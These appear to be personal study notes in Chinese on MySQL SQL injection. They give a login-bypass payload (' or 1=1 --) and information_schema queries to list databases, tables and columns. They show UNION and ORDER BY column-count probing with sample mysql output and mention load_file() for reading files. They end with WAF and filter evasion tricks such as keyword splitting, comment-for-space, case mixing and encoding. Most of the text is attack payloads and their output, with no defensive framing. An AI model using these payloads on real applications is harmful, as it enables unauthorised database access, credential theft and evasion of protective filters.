note:
在执行类似注入是 select * from user where username = 'admin' and password ='123'
'a or 1=1 -- (注意-- 有时候--后面需要有一个空格),另外 如果1=1不成立,可以尝试2=2,3=3等绕过waf规则。
1、查询所有mysql数据库
select schema_name from information_schema.schemata;
2、查询所有mysql特定数据库中所有表
select table_name from information_schema.tables where table_schema = 'information_schema';
3、查询所有mysql具体数据库具体表的所有字段名
select column_name from information_schema.columns where table_schema = 'information_schema' and table_name = 'tables';
4、查询当前数据库
select database();
5、查询指定库所有表面,但是连接在一起,用group_concat()
select group_concat(table_name) from information_schema.tables where table_schema = 'information_schema';
6、查询当前user, 版本,数据库路径,操作系统版本
select user(); select version(); select @@version; select @@datadir;select @@version_compile_os;
1:system_user()
2:user() 返回MYSQL用户名
3:current_user()
4:session_user()
5:database() 返回当前数据库名
6:version() 返回当前数据库版本信息
7:load_file() 返回文件的内容
7、判断一次查询,查询了多少个字段可以用union(如果是select * ,就可以用union判断这个表有多少个字段)
尝试:
mysql> select schema_name, sql_path from information_schema.schemata union select 1(或者union select null);
ERROR 1222 (21000): The used SELECT statements have a different number of columns---------------不是一行
正确:
mysql> select schema_name, sql_path from information_schema.schemata union select 1,2;
+--------------------+----------+
| schema_name | sql_path |
+--------------------+----------+
| information_schema | NULL |
| etron_v2 | NULL |
| mysql | NULL |
| performance_schema | NULL |
| quit | NULL |
| sakila | NULL |
| sakura | NULL |
| test | NULL |
| world | NULL |
| 1 | 2 |
+--------------------+----------+
10 rows in set (0.00 sec)
8、同理判断一次查询,查询了多少字段也可以用order by
试探:
mysql> select * from schemata order by 1,2,3,4,5,6,7,8,9;
ERROR 1054 (42S22): Unknown column '6' in 'order clause'------------这里错误显示不存在column 6
正确:
mysql> select * from information_schema.schemata order by 1,2,3,4,5;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | etron_v2 | utf8 | utf8_general_ci | NULL |
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | mysql | utf8 | utf8_general_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | quit | utf8 | utf8_general_ci | NULL |
| def | sakila | utf8 | utf8_general_ci | NULL |
| def | sakura | utf8 | utf8_general_ci | NULL |
| def | test | utf8 | utf8_general_ci | NULL |
| def | world | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
9、判断字段在前端显示的位置(不成立条件 + union数字)
mysql> select * from schemata where schema_name = 'aaa' union select 1,2,3,4,5;
+--------------+-------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+-------------+----------------------------+------------------------+----------+
| 1 | 2 | 3 | 4 | 5 |
+--------------+-------------+----------------------------+------------------------+----------+
1 row in set (0.00 sec)
10、 利用union反查(这种情况是我们不知道查询的条件,但是知道查询的表和字段名)
mysql> select sql_path,schema_name from schemata where schema_name='aaa' union select 1,schema_name from schemata;
+----------+--------------------+
| sql_path | schema_name |
+----------+--------------------+
| 1 | information_schema |
| 1 | etron_v2 |
| 1 | mysql |
| 1 | performance_schema |
| 1 | quit |
| 1 | sakila |
| 1 | sakura |
| 1 | test |
| 1 | world |
+----------+--------------------+
9 rows in set (0.00 sec)
11、利用过滤绕过检测(如数据库查询接口过滤了<>)
u<>ni<>on s<>el<>ect 1,2,3。
2、利用注释绕过空格过滤
s/*foo*/elEct/*foo*/null/*foo*/--
3、转译绕过
SelEct uSer FRom UsEr, SELSELSELSELECT,%00select,或者其他格式的编码如hex、unicode、ascii等
4、连接字符绕过
select name from user where name = concat('a','b'),select 'a' 'b' 'c'